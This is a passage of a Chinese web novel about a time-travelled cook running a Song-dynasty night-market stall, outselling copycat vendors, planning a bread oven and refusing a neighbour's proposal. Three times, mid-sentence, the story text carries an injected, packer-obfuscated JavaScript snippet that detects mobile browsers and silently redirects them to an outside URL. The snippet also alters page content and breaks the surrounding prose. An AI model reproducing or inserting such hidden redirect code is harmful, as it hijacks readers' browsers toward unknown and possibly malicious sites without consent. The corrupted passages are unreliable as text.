虽说早料到会有同行效仿这带花底的煎角儿，可姜宝珠没想到这么快——仅一日，就一日，人家已经赶在她前头开卖了。 还贴着她的脸卖！ “三姐姐——”琦姐儿气喘吁吁地跑回来了，“我大致瞧了一圈，只这半条街，卖金玉煎角儿的便有三四家，有的还挂着‘家传’，‘秘制’的招牌，哼！！” 小姑娘这声“哼”气沉丹田，头上的丫髻都在颤，姜宝珠看得唇角弯了又弯。 收敛笑意她又正色道：“莫急，咱先去把摊儿撑好，瞧瞧再说。” 姐妹俩推着灶车到摊位，卖汤羹的郑婶先看见她们。 “你怎来这般迟？”她急声道，说着白对面摊子一眼，“好好的生意，都给人抢了先机！” 对面卖煎角儿的听到这话也望过来。瞧见姜宝珠，那膀大腰圆的摊主没半点不好意思，反扬声吆喝起来： “金丝煎角儿，皮薄馅厚底儿酥脆——” “香煎玉角儿十文一碟——十文吃到饱哩！”他旁边那尖嘴猴腮的摊主也跟着嚎起来。 姜宝珠看着这一唱一和的，眉梢饶有兴致地挑了下。 这俩原本一个卖馄饨，一个卖索饼，今日竟毫无芥蒂，齐刷刷卖起煎角儿，还又是“金丝”，又是“香玉”的，摆明是要同仇敌忾。 至于“仇敌”是谁，不言而喻。 “香饮子——搭煎角儿更香的香饮子！”对面卖饮子的摊主也吆喝起来，“凡买金丝煎角儿香玉煎角儿的，我这饮子便宜他两文嘞！” “……” 很好，“仇姜者”联盟再添一人。 “好你个李大手，昨儿搭着姜娘子赚恁多，今日便伙同旁人欺她，你忒不厚道！” 姜宝珠还没来得及开口，郑婶子已替她出头。 昨儿搭上东风的不止李大手，她也赚不少——比往常多三成呢。今日眼瞧食客都跑对面去，她比姜娘子还急。 如今见对面三人联起手，她的火急火燎，更是烧成一把愤愤不平的怒火。 呸！三个大男人，竟如此欺压一小娘子！ 那李大手更是个腚上没种的孬货。 还是咱女人讲义气！ “嫂子，您这话可冤死我。”李大手慢悠悠盛出一杯紫苏水，回嘴道，“我这香饮子搭煎角儿买正好，能搭姜娘子的，自能搭旁人的——何来伙同欺人一说？” “正是！”一旁的瘦猴儿摊主立刻帮腔，眯起眼睇姜宝珠，“煎角儿本寻常，怎地她姜娘子能卖，我们卖不得？” “煎角儿常见不假，可这金玉煎角儿乃我三姐姐独创！”姜宝琦突然开口道。 小姑娘一步上前，声音清亮有力：“我姐姐撑摊之前，这满汴京可寻见第二家带焦黄脆底的角儿？” “嘿，这不巧了么——”那膀大腰圆的壮摊主也搅入战局，“昨儿我刚得了一本家传食单，里头正写着这煎角儿脆底的做法。” “你浑说！”姜宝琦高声驳道，“既有食单，便拿出来让大家瞧个明白吧！” “既是家传，怎可与你一小娃娃瞧。”壮摊主说着举起一碟他做的煎角儿，阴阳怪气道，“我倒想问问姜娘子，这角儿到底是怎么个独创法——上头刻你名号了？还是张嘴管你叫娘了？” 周围有人哄笑起来。姜宝琦气极：“你——” 无耻之徒！ “琦姐儿。”姜宝珠轻声道，伸手示意小妹回来，“无需理会。” 对方摆明要耍无赖，打嘴炮只会掉入自证陷阱。 最后瞥了眼对面摊上的煎角儿，她系上围裙：“咱们卖自家的。” 对面见姜宝珠不争不辩，更加趾高气昂，叫卖声都更响亮。 一旁的郑婶子气不过，也敞开嗓门帮姜宝珠吆喝起来。 桥上两边打擂台似地揽客，热闹程度不输昨日。 来往食客多数流向对面两家，一个时辰过去，姜宝珠卖出的煎角儿不及昨日一半。 没办法，她价格不占优势。 夜市不过图个新奇，吃个热闹，管你是家传还是独创，还不都是带脆底的漂亮煎角儿，自然要选便宜的。 “姜三娘，要不……你也便宜点儿卖？”郑婶子看着对摊又排起队，愈发替人着急。 姜宝珠平静道：“婶子，再便宜我该亏了。” 打价格战没一点用。 信不信她降到十文，对面就敢降到八文？ 他们今儿又不是为赚钱来的。只要能击垮她，亏本也在所不惜…… “……阿娘快来，这也有金丝煎角儿！” 一道脆生生的童音打断姜宝珠思绪，她抬眸，正瞧见一个跟灶车一般高的小丫头蹦蹦跳跳走过来。 “圆姐儿慢些，仔细摔着！”年轻妇人紧随其后，一把将乱跑的孩子捞到身前。 小丫头扭着肚子甩开母亲的手，圆溜溜的眼眨巴着：“两位姐姐，你们这金丝角角怎生卖？” 姜宝珠莞尔，躬低身笑答：“我这是金玉角角，豚肉的十五文一碟，鱼肉馅要二十文——姐儿想要甚么馅的啊？” “十五文？”年轻妇人扭头看了眼对面小摊，兀自嘟哝，“倒贵了些……无妨，省得等了。有劳小娘子做些豚肉的罢。” “姐姐客气。”姜宝珠起锅烧油，又问道，“一碟五枚，姐姐要几碟？” “要……”妇人正欲回答，转手又摸了摸小女儿头上的总角，“圆姐儿，表兄表姐稍后便到，算上你玉姐姐和阿兄——若你们每人分得一枚煎角儿，阿娘要买几枚呀？” 姜宝珠拿碟子的手抖了一下，瞬间梦回上辈子被老师抽查提问…… 没被应试教育教育过的小丫头一派天真，立马掰着手指算起来。 她举起两只小手，自信答道：“买八枚！” 妇人噎了下：“……圆姐儿如何算得八枚？” “阿兄一枚，我一枚，玉姐姐一枚——”小丫头摁着指头认真数算，“我一枚，表姐一枚，我一枚，表兄一枚，我一枚！” “……” 妇人阖眼长长呼了一口气，却又在下一刻摇头笑起来。 “真真是个鬼伶精……依你罢！”她宠溺地摸了把女儿脑袋，又对姜宝珠道，“要两碟。” 姜宝珠看得心房软软，眉眼弯弯：“好嘞！” 拿出十枚煎角正要下锅，小女孩又开口了：“这角角脆底可完整不破？” “自然。”姜宝珠笃定道。卖了这两日煎角儿，她几乎没失手过，看准时机一锅铲下去，总能将连成一片的脆底完完整整铲下来。 小丫头歪着脑袋：“我与阿兄姐姐分食后，要将花花底留到最后吃……” 姜宝珠愣了下，反应过来：“你是说，要这角儿一枚一枚分开后，脆底照旧完整？” 小丫头使劲点头，她阿娘眉心却蹙起来：“圆姐儿，不可无理取闹。阿娘不是说了么，这角儿若一枚枚分开，脆底定然会破的。” “……” 小姑娘没再说话，失落落垂下脑袋。 姜宝珠忽而想到什么，眉心动了动：“倒也未必。” 妇人讶异看她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488892|185764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“小娘子何意？” 姜宝珠笑笑没回答，手上已将十枚饺子下入油锅。大勺舀了点水泼进锅中加盖，没一会儿，蒸气就将煎角儿闷熟。 锅盖掀开，小女孩失望呼出一声：“没有花花底了！” “姐儿莫急。”姜宝珠道，说着便将熟角子盛出锅，又拿起盛面浆水的木盆，往重新刷了油的热锅中倒。 薄匀面浆水细流入锅，摊小饼似地，不疾不徐摊出十个小小圆形。 放下木盆，姜宝珠手速加快，麻利地将煎角儿一个个躺放在面浆水上。 面水很快被烤干，析出焦黄丝边，姜宝珠拿起锅铲，小心翼翼地沿着边缘一铲。 ——一个带着圆圆薄薄丝网的煎角儿跃锅而出。 “哇！”小丫头和妇人齐齐惊呼。 姜宝珠将煎角儿一个一个铲出锅，再整整齐齐摆进妇人递来的提盒里。 角儿是躺着放进锅的，此刻立正装盘，这一片丝网好似蝶翼贴在角子肚上，又像一页页小船扬起风帆。 这种进阶版煎角儿，姜宝珠在后世的茶餐厅吃过一次，当时还在心里吐槽：味道还不如街边的早餐店，也就图个卖相吧。 ——如今看来，有时这一点好卖相，也是揽客的关键…… 将最后一枚角儿垫在油纸上，姜宝珠笑眯眯递给目瞪口呆的小姑娘：“如此，分食也不怕花网破啦！” 小丫头眼眸发亮，近乎崇拜地望着姜宝珠，又兴奋地直扯她娘亲袖口：“阿娘你瞧——角角有蝶翼啦！” 年轻妇人很是赞许地看了姜宝珠一眼，莞尔：“小娘子有心了。” 拎起食盒离开之际，她摸出一把铜钱放摊上。 ——乍一看足有五十枚。 “爹爹，我也要那带蝶翼的角儿！”对面摊前有孩童闹道，说着便拉扯大人往姜宝珠的小摊走。 “咦，瞧那小娘子的煎角儿样式，稀奇嘞……” 早在小丫头叽叽喳喳时，周围就有不少人看过来，这会儿图新鲜的食客接踵而至，纷纷都要买那“蝶翼煎角儿”。 “且慢——别走！”眼瞅着自家摊位前的队伍散开，跟姜宝珠对着干的俩摊主开始着急了。 那壮摊主将肩上汗巾重重一甩：“不就变了个花样么，咱家也能做——照旧十文一碟！” 他这话一出，几个本打算离开的食客立即止住脚步——那小娘子的新式煎角儿刚叫价二十文，贵不少呢。 姜宝珠无声一哂，没搭理对面，笑盈盈地将张开蝶翼角儿递给兴高采烈的小孩。 那厮也在瞧姜宝珠，将人先摊面浆水，再放煎角儿的流程瞧过一遍，他不屑轻嗤：还以为有多难。小小花招，唬人罢了。 他自信满满地端起木盆，也学着人样子，在锅中摊下圆形面浆水。 须臾—— “噫，弄啥嘞？乌漆嘛黑的……” “你这花网都碎了啊……不要了不要了！” “阿娘，我不要这角儿——我要胜哥儿手里的，他的煎角儿是蛱蝶，我这……像蜣蜋（屎壳郎）！” “你这厮——老子干等一刻，你竟做出一锅饧糠糊弄我，找打不成？！” 壮摊主忙不迭道歉，手上还在一个劲儿刮烧糊的锅底，简直汗流浃背了。 “妙哉。”桥头一书生模样的食客目睹全程，不由轻笑出声。 咬了口煎角儿薄而酥脆的丝网，他又饶有兴致问姜宝珠：“敢问姜娘子：观这面浆灶具，皆与寻常无异，何以独独娘子能做出这银玉般的煎角儿，旁人却不成呢？” “咔——” 姜宝珠铲下一枚煎角儿，眉梢挑了下：“许是……我这配方乃潜心自创，而非凭空‘家传’罢。” 14. 做面包窑 “噗呲——” 问话的人还没开口，一旁的郑婶子率先笑出声来：“说得好！” 食客纷纷转回到姜宝珠前，连带她的汤羹摊儿生意也好了些。手上盛羹动作不停，她嘴皮子更快： “我说张二锤，这‘炭烧锅底’也是你家传食单上写的？那食单莫不是与灶王爷烧贡品使的啊？” “……” 一阵哄笑声中，那名唤张二锤的壮摊主气得嘴角抽抽，可他连冲郑婶子发作的功夫都没有——黢黑的锅底和愠怒的食客还等着他解决呢。 “做生意也有讲究。”郑婶子晃了晃脖子，像只骄傲的大孔雀，“须像我们这般用心经营才好。那满肚子花花肠子，旁门左道的，终究不长久！” 姜宝珠看着一直为自己仗义执言的盟友，笑了：“婶子说得是。” 方才说自创，她或许还有些心虚——这花网脆底的锅贴本是后世家常面食。 可要说用心经营，姜宝珠也能像郑婶子一样骄傲地挺起胸脯：确实是下功夫研究过的，上辈子还专门出过一期视频呢。 关于如何调配面浆水，每个食谱不尽相同：有的说面粉加水即可，有的还要加些油，还有加小苏打的。 姜宝珠严格控制变量，设置对照组，将各种配方配比试了个遍——不麻烦，也就试了四五六十次吧。 最后，她终于得出结论： 一勺面粉，半勺淀粉，半勺小苏再加一点泡打粉，最后加二十倍的水搅拌均匀即可。 ——如此调配出来的面水，冷油下锅，等到油水烹干，出来的脆底丝络分明不说，口感也酥脆至极。 这可是她将厨房变成实验室才得到的“秘方”，对面摊子只看见白花花的面水，照猫画虎，自然不得精髓。 前头张二锤叫嚣时姜宝珠便暗自观察过他做的：脆底偏厚，网状模糊，还有窟窿，是靠着煎角儿才勉强连成形。 单煎的话，根本不可能像她的一样做出薄如蝶翼的丝网…… 不多时，姜记小摊前排起了长队。食客一个接一个来，姜宝珠再没有沾沾自喜，也开始汗流浃背了。 她这“蝶翼煎角”得先把角儿做熟，再做金丝脆网——二遍功夫，出餐速度自然慢下来。 姜宝珠锅铲都抡出火星，一边暗下决心： 不行，得换个形式卖。 上新也不能落下。 要快！ - 做饭是要动脑子的，做生意也是。收摊后，姜宝珠顺了半晚上思路，翌日一早，一份完备的小摊营销计划正式启动： 蝶翼煎角儿出摊前在家提前做熟，改为蒸，后世的茶餐厅也是这样做的，口感更嫩，效率还高，大锅一次就能出几十个。 如此，摆摊时只要现做脆网就可以了，节省不少时间。 昨日那位书生说角子“如银玉一般”，这“银玉”，其实就是宋人对蝴蝶的雅称。 姜宝珠得到启发，给这进阶版煎角儿起了个名字，就叫“银玉蒸角儿”——形如其名不说，与之前的“金玉煎角儿”也相得益彰。 银玉蒸角儿的个头比金玉煎角儿大一些，也不论碟卖了，一枚五文钱，每日限量供应一百枚，先到先得。 如此企划很成功，第二日出摊时，一百枚银玉蒸角两刻钟便售罄。二百枚金玉煎角儿也断断续续全部卖光。 小摊生意重新火爆起来，受害者只有一人——琦姐儿。她整晚几乎都在洗盘子。 姜宝珠于心不忍，又马不停蹄琢磨出了新包装：煎角儿蒸角儿放在油纸里，外面再加一层荷叶隔热，食客拿起来就能吃。 她还在早市找到一种麦秆编制的漂亮小提篮，两个巴掌大，编得细细密密，荷叶油纸裹住煎角儿放进去，一路提回家都是温热的。 这样打包的荷叶和油纸免费，想要小提篮的话则加收一文。篮子是可以重复使用的，若回头客带着小提篮再来，不仅不要打包费，反优惠一文。 不用担心亏本，这成本嘛，嘿嘿，姜宝珠“豪掷”二百文，将那夫妇小摊上的编制篮子尽数买走，共计八百余个。 就这样，姜宝珠带着琦姐儿兢兢业业在夜市摆摊十来日，将“双玉角子”卖出了名气，也赚得一些忠实食客，更扎扎实实挣出一荷包银子。 于是，中元节前一夜收摊时，她跟郑婶子打好了招呼：明儿不出摊了，她要歇一日。 连轴转了这么些天，合该好好歇歇。明儿百鬼夜行，她若比鬼还忙，也太命苦了些…… 怀着睡到日上三竿的志气美美入眠，可身体好似已经适应了摆摊的节奏，第二日清晨，外头的叫卖声刚响，姜宝珠便醒了过来。 宋朝的中元节节日氛围很浓厚，且并非只是“鬼节”氛围：寺庙会在这一天举行盛大的盂兰盆会，超度亡灵孤魂。 人们不忌讳在晚上出门，反而会去放河灯，瓦子勾栏，街头戏台还有演出，表演的剧目多和神鬼相关，又恐怖又精彩。 跟后世满大街烧纸祭拜一样，宋朝中元节的核心也是祭祀祖先。这大清早挨家挨户叫卖的穄米饭，便是最常见的祭品。 姜家父母亡属的坟都不在京内，无墓可扫，只在正堂中摆了个供桌。 起床洗漱完后，姜宝珠也跟着爹娘在桌前拜了拜。她还偷偷多燃了两炷香，一为魂不知归处的原身；二为后世身亡而魂不灭的自己…… 中元节给自己放假的不止姜宝珠一个，姜明远闭了书铺，付惜音也扔开绣花针，说要偷懒一日，于是姜家开展了一项集体休闲活动：种地。 打姜老爹将院里的这片地开出来后，这些天，他几乎每日都要给地除除草浇浇水，还学着郊外农人，弄来一些腐叶和禽粪铺进地里。 两块地养了十来天，此时正是播种的好时机。 种子是阿娘前几日买的，除了常用的葱，蒜，香菜（芫荽），她还选了些耐寒的蔬菜：波棱菜（菠菜）和油叶（油菜）这两样，种到年底都可以。 都说中华民族的种族天赋是种菜，月亮上发现水的消息一出来，底下一水儿竟都在讨论能种什么菜…… 姜宝珠以前很不理解这种刻在基因里的种地迷恋，如今赤脚踩在地里，弯腰扒开土壤洒下种子时，她好像有些懂了。 种地，便是将身体与土壤，节气相连。这种最朴实的劳作，能带来最踏实的安全感——所谓“接地气”，接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16498356|185764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，或许就是这种能量吧。 而比地气还要蓬勃的，是万物生长的力量。它能带来希望。 看见种子落进地里，人就开始有了盼头。比如此刻，姜宝珠叉腰打量着种好的两块地，仿佛已经看见绿油油的菠菜，水灵灵的油菜哗啦啦跳进锅里。 她还看见家里院儿变大了，房子也更宽敞了。 不远处还有座气派的彩楼欢门，门前车水马龙，门庭若市。 谁家酒楼生意这么好？ 啊，原来是她的呀！ …… 美滋滋做完白日梦，姜宝珠只觉心情舒畅，浑身是劲儿。 她走进灶房，拿出之前买来的香料：茴香，桂皮，花椒，草果，陈皮，甘草等——有几味还是药铺中寻到的。 香料留一半以后煲汤用，剩余的下铁锅炒出香气，再放到石臼里碾成粉末，这大宋版本的“十三香”便做好了——等下次调煎角馅时就加点进去，绝对风味大增！ 香料粉存进陶罐，姜宝珠又拿起旁边的豆酱。这罐黄豆酱是阿娘做的，娘亲厨艺一般，酿酱手艺却一绝，姜宝珠最开始做的那张鸡蛋灌饼全靠这酱赠味。 酱罐子里舀出豆汁来，下锅小火慢慢熬成浓汁状，鲜味浓郁，做菜时滴进去几滴，勉强算作后世的“味精”吧。 这些调料姜宝珠早就想配了，今日总算有闲工夫。 这还不算齐活，她在心里暗暗盘算着：等再挣出些钱来，她便去鱼虾行买点干贝，瑶柱，鲜虾甚至牡蛎回来，配合酱油与沙糖，估计能做出类似耗油的调料…… 正徜徉着，姜老爹在灶房外唤她。他要去买纸墨，问女儿有没有顺道要买的食材。 姜宝珠答不用，却又在爹爹出门之际忙不迭追出来，请他去陶肆那儿问问青砖作价几何。 “青砖？”姜明远瞪大眼，以为自己听岔了，“珠儿，你要青砖作甚？” 姜宝珠想做一个面包窑。 调料，餐具现在都配得差不多了，灶房里的那口老土灶能烧出带锅巴的柴火饭，也能蒸出香喷喷的蒸饺，就是没法当烤箱用——一个厨子家里怎么能没烤箱呢！ 宋朝的烤炉不像烤箱是封闭式的，大缸似的敞口炉可以将烤饼贴在炉壁，也能探进挂钩烤鸭熏鹅。烤炉不便宜，面包窖做大一些，完全可以覆盖烤炉功能，还能烘焙各类糕点。 姜宝珠画大饼似地给爹娘描述面包窖能做出什么，姜明远很快被说服，咂巴着嘴唇出门了。 管琦姐儿借来纸笔，姜宝珠坐在灶房门口，开始起草图纸。 上辈子看过一位美食博主的面包窖制作视频，姜宝珠相当心动，奈何楼房没有制作条件，她只能眼馋地反复刷视频。 现今，家里这方小院让她的心愿落地，草图也很快画了出来： 面包窖就贴着灶房门口的院墙造，方便取火和加料。姜宝珠很贪心地将窑直径定在四尺，这个尺寸，除了牛不能烤，烤只小咩咩也不在话下了。 图纸竣工，院门也从外头被推开。姜宝珠兴冲冲迎上去，又戛然止步。 她爹爹不是一个人回来的。 吴大郎跟在后面，推着一车砖走进院来。 15. 非你不娶 对上女儿僵硬的脸色，姜明远不自然地笑了下：“我在那泥瓦铺子打听，大郎正好路过——哦，这砖钱是爹爹给的，你莫忧心……” “那泥瓦博士送砖还要钱，我，我便想着不如我顺道推回来……”吴大郎也结结巴巴跟着解释。 对上姜宝珠视线，他抓着脑袋偏开黑红的脸：“听伯父说你要建炉灶，我，我也能出把子力气……” 姜宝珠客气颔首：“那便多谢吴大哥了。” 虽说上回方婶子闹得很难看，可她家其余人却没和他们家撕破脸。尤其这吴大郎，平日门外巷里碰着面，也还是“伯父婶子”的主动打着招呼。 人家到底是帮忙将这一大车砖推回来了，合该以礼相待。付惜音客气招呼人进院，又倒出两盏茶来。 吴大郎接过茶盏一饮而尽，一刻没歇，立马问起姜宝珠造窑的事。 姜宝珠展开图纸给他瞧。 有一说一，吴大郎是些手艺在身上的，打得一手好铁不说，木工，泥瓦工也都会做。 这后世的面包窑他没见过，瞧瞧图纸，再听姜宝珠解释两句，很快就明白是怎么一回事。 “大郎今日怎没去祭坟？”付惜音和人拉起家常，“你爹还在铺子里赶工？” “活儿早赶完了。”吴大郎回答道，一边将砖块垒在墙边，“我爹今儿没去铺子，与我娘采买去了——我娘说要将卤货重新卖起来，还在家门口。” 付惜音吃了一惊。姜宝珠也诧异地抬了抬眉毛——没想到方婶子竟真重新卖卤货了。 甭管是被她激的，还是给旁人哄的，这般行动力，也算有志气…… 砖块全部卸下车后，姜宝珠带上琦姐儿，又和吴大郎出了门。 就像用青砖替代红砖，宋朝也没有现代水泥，他们泥瓦博士那儿买了些石灰，黄土，细沙，又满满当当拉了一车回来。 做面包窖的第一步便是用砖块筑基。吴大郎刚将沙土与石灰混合成水泥样的粘合剂，就看见姜宝珠拿起一块砖。 她纤细的手指牢牢抓握砖块，拿得很稳。另只手抄起抹刀刷刷将粘土匀抹在砖上，动作干净利落。 吴大郎看晃了神，蓦地忆起以前姜宝珠拿不动柴火时，原地撇嘴的模样了。 他娘总嫌姜家女骄矜，可吴大郎偏爱的便是三妹妹柔柔娇羞的模样，她会笑着谢他帮忙抬柴火，也会在被邻家大狗吓到时，花容失色地往他身后躲…… 见那吴大郎痴痴瞧着自家闺女，付惜音在心里叹了口气。 上回他娘上门来将话说得那般难听，两家人是再无结亲可能。 其实早在两家闹翻前，珠姐儿她爹也是不情愿将女儿许给吴家的。他总盼女儿嫁个读书人，走科举之路的，才算有前途。 付惜音却觉着这吴家大郎是个不错的姑爷人选：吴家离得近，珠姐儿抬脚嫁出去，扭身就能回娘家。他们一门人手艺都扎实，日子过得也殷实。 最重要的是，她能瞧出这个总围着珠姐儿转的小子，是真心实意对女儿的。 瞧方才那推车搬砖的殷勤劲儿，当真应了那句话：铆足劲儿求娶的姑爷，比老牛还好使！ 唉，女子这一辈子顶要紧的，不就是遇上个会疼人的良人么。 珠儿如今一心摆摊，赚钱是好，可她终究是要嫁人的啊…… 姜宝珠全然不知阿娘的愁绪与身旁少年的情思，一心只垒砖筑基。 她越做越熟练，加上吴大郎帮忙，不过一时辰，架子床大小的基座便搭好了。 姜宝珠也停下工——总不能真将吴大郎当泥瓦博士使吧。方婶子若知道，一会儿又要来叫门了…… 大约也是想到这一层，吴大郎没强留，主动与姜家夫妇告辞。 听人要回铁铺做工，付惜音将家中余下的煎角儿装入提盒，又招呼姜宝珠送送人家。 姜宝珠拎过提盒，跟着吴大郎出了门。 两人一路没什么话，沉默着走到巷口。 “明日你可要造火膛？”吴大郎站住脚问道。 姜宝珠没回答，只递过纸盒：“吴大哥今日帮忙将土料都寻齐了，往后我们自己搭也不是难事。” 听出她话里的意思，吴大郎目光一黯，默默接过食盒。 转身往前走，没两步他忽而又转身：“三妹妹，我——” 姜宝珠定住脚步。看吴大郎那欲言又止的模样，她心头倏地腾起不好的预感。 果然下一刻，他下定什么决心一般，猛吸一口气：“那日我娘去你家说的……你，你别放心上。” “我自是不上心的。”姜宝珠眨眨眼，避重就轻，“只怕……婶子还在怪罪我要回那四贯束脩。” “本就是该与你们的，也不是甚么大钱……”吴大郎顿了下，又把话头拉回来，“我是说，我娘讲的我要聘媳妇儿那话……” “……” 看来是绕不开了。姜宝珠没再接话，兀自垂低眼睫。 “三妹妹。”吴大郎又低低唤了她一遍，“我，我与我娘都说了，这辈子我，我非你不娶！” 黑脸烧得火红，舌头都在打结，他语速反而越说越快了，生怕自己停下似的：“不管外头怎么说道你，也不管你与那林家哥儿从前如何，我都是不在乎的！” 扭头望见四下无人，吴大郎往姜宝珠身前进了一步：“你，你若嫁与我，我必护你一辈子，任旁人再不敢欺辱你半分！” “……” 姜宝珠依旧没做声，面色淡淡地退了两步。 “吴大哥可是瞧见我私会林家哥儿了？” 吴大郎怔住：“没，没有……” “那便是了。”姜宝珠抬眼看他，“本就没有的事，我自然不在乎旁人如何说。” 吴大郎噎了下，僵硬点头：“是，这是自然，本就是那嚼舌根的惹的祸。只是姜伯父说过，甚么……成虎的？这瞎说道的人多了，于你到底有损。” 他低下头：“若非如此，那媒婆怎敢将老鳏夫说与你……” “……” 日头从云里出来了，阳光不多不少洒在巷口。 姜宝珠看着吴大郎身后的影儿，眉心蹙起来。 “清者自清的事。不劳吴大哥顶撞爹娘，为我劳心了。” “不，我，我是说——”吴大郎急切道，“甚么成不成虎的，即便你名声有损，我也是不在乎……” “……” 和原身一样生了副好皮囊，姜宝珠上辈子也桃花多多，从不乏追求者。 所以她很擅长拒绝男人。 拒绝的多了她也发现，有些时候，她自以为的礼貌婉转，留存体面，落在他人眼里倒成了含羞带怯，欲拒还迎。 ——此刻便是如此。 “三妹妹，你放心。”吴大郎继续道，“若你情愿嫁我，我定拼尽全力劝服我爹娘——” “吴大哥误会了。”姜宝珠冷声打断他，“你爹娘纵是欢喜应允，我也从未，打算嫁与你。” 吴大郎怔住，一张黑脸仿佛烧裂的锅底。唇片张张合合好几下，他才发出声音：“你……可是有了旁的心上人？” “可外头如今风言风语，纵然你许了旁人，也难保那户人家难不苛待你……” 姜宝珠冷嗤了声。 从前她是父母宠爱，万般恣意的掌上明珠，这很好。 如今，她是厨艺精进，摆摊赚钱的姜小娘子，这也很好。 ——她分明一直好端端的一个人，怎就因为旁人的三言两语，落得如夜市里那便宜销卖的大白菜一般，任人挑拣了？ 愿意娶她，难不成是什么恩赐吗？ “这世上人有千万种，路有万万条。我既有手有脚，能跑会跳，便不是只有嫁人一条路的。” “你不嫁人？！”吴大郎一惊，宛如听到天方夜谭一般，“你……怎能不嫁人？” “为何不能？”姜宝珠侧过身，索性不再看他，“我若有立身之本，赚钱之道，自然能独立于世间。” “与其指望他人庇护，不如做自己的依仗！” “……” “我知晓了……”吴大郎自语般喃喃，而后神思恍惚地拎着食盒离开了。 姜宝珠松出口气，转过身往家走。 行过两步，她怔住。 琦姐儿正在巷子拐角呆呆看着她，不知已站了多久。 “你怎过来了？”姜宝珠问。 “见你晌久不归，阿娘叫我来瞧瞧……”姜宝琦走到姐姐跟前，吞吞吐吐的，“三姐姐，你方才说的……不想嫁人了，可是当真？” “自然不是假话。”姜宝珠一手揽过小妹肩膀，亲狎捏她脸颊，“琦姐儿以后可想嫁人？” “我……”姜宝琦发觉自己答不上来。 她还小，从未思量过“嫁人”这事。 倒是见过不少：这甜水巷总有哭哭啼啼嫁出去的，也有吹吹打打嫁进来的。 巷子里所有人都说，付娘子嫁得好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511540|185764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她阿娘自己也说，嫁与爹爹这般良人，乃此生幸事。 可阿娘也与她们姐俩儿讲过自己未出阁的旧事：原来她最爱的不是女红，而是锤丸。 她锤丸还赢过好些钱，她用这些钱与闺友偷偷雇了辆驴车去郊外赏花——外祖直到作古，都不晓得这事。 阿娘还采了桂花回来自行酿蜜，悄悄拿出去卖。可惜卖的钱不够上画舫游河的。于是她们几个小娘子又凑钱去临水的酒肆里吃喝，足足喝了两大罐桃花酒…… 每每说起这些，阿娘总是笑着，眼睛也亮荧荧的。 末了她又叹出口气：“那般恣意的日子，再没有喽……” 觅得良婿如阿娘，却也怀念未出阁之前的自由。 如此可见，嫁人似乎也不算甚么美事。 可是…… “可阿娘也说过，”姜宝琦垂头小声道，“女子总归要嫁人的……” 姜宝珠只笑笑：“我与吴大郎方才说的，你都听清楚了？” “是。”姜宝琦点头，“三姐姐说要独立于世间，有立身之本，赚钱之道……” “琦姐儿。”姜宝珠再无方才对吴大郎那般冷声冷面，她揽在小妹肩上的手拍了拍，很轻柔，“两人若要成亲，总该真心爱慕对方，而不是为着一句‘总要嫁人的’。” “纵得一心人，也不该将所有指望都挂他身上——这世上走一遭，哪个都不容易，谁又能托得住谁一辈子呢。人呐，总要自己立得住……” 姜宝琦安静地注视着姐姐，重新审视她一般：“三姐姐从前倒没说过这些。” 姜宝珠给看得有些心虚：“有些道理……我也是才明白。” 好在琦姐儿没继续刨根问底，只幽幽吁出一口气：“我算明白三姐姐为何执意要撑摊了……” 姜宝珠莞尔：“摊位虽小，能撑起一方天地；赚多赚少，都是咱的底气。” 姜宝琦“嗯”声，用力点头：“我定尽全力，帮三姐姐将食摊撑下去！” “琦姐儿有志气！”姜宝珠笑赞道，走到家门前，她停下脚步，“只是，下灶是我……得祖母点化才得心应手的。摆摊也是我决意要做的。” “往后琦姐儿若有想做的，尽可撒手去做！无需为我守在摊旁。” 姜宝琦震了下，抬眸定定看姐姐。 又是错觉么？ 这样的三姐姐，前所未有的像一个“姐姐”。她却觉得分外陌生…… 小姑娘垂下眼喃喃：“我，我没甚么得心应手之事……” “谁说的？”姜宝珠驳人妄自菲薄，又抬手在丫髻上摸了把，“你读书珠算样样在行，脑瓜儿最灵光不过。还有你那笔瘦金体——哪个瞧了不赞好？” 说完她便推开院门，呼爹喊娘地进家去了。 姜宝琦慢吞吞跟进去，若有所思。 三姐姐说得倒不错，她确实擅读书，也爱读书的。 四岁开蒙，爹爹念过一遍的诗，她便会吟；字帖临过一遍，她自己也能写得有模有样。 就连爹爹考大哥背书，她也总能对答如流。 为此，爹爹欢喜又憾叹：“琦儿若是男子，何愁我姜家没有前途！” 是啊，她是女子，书念得再好，也没法科举入仕。 有甚么用呢…… 那一夜，姜宝琦东厢房的灯火迟迟不灭。小姑娘躺在榻上辗转不能眠。 姜宝珠倒睡得很香。 与吴大郎把话彻底说明白，她心中蛮痛快。至于琦姐儿能否将那番话听进去，她并不强求。 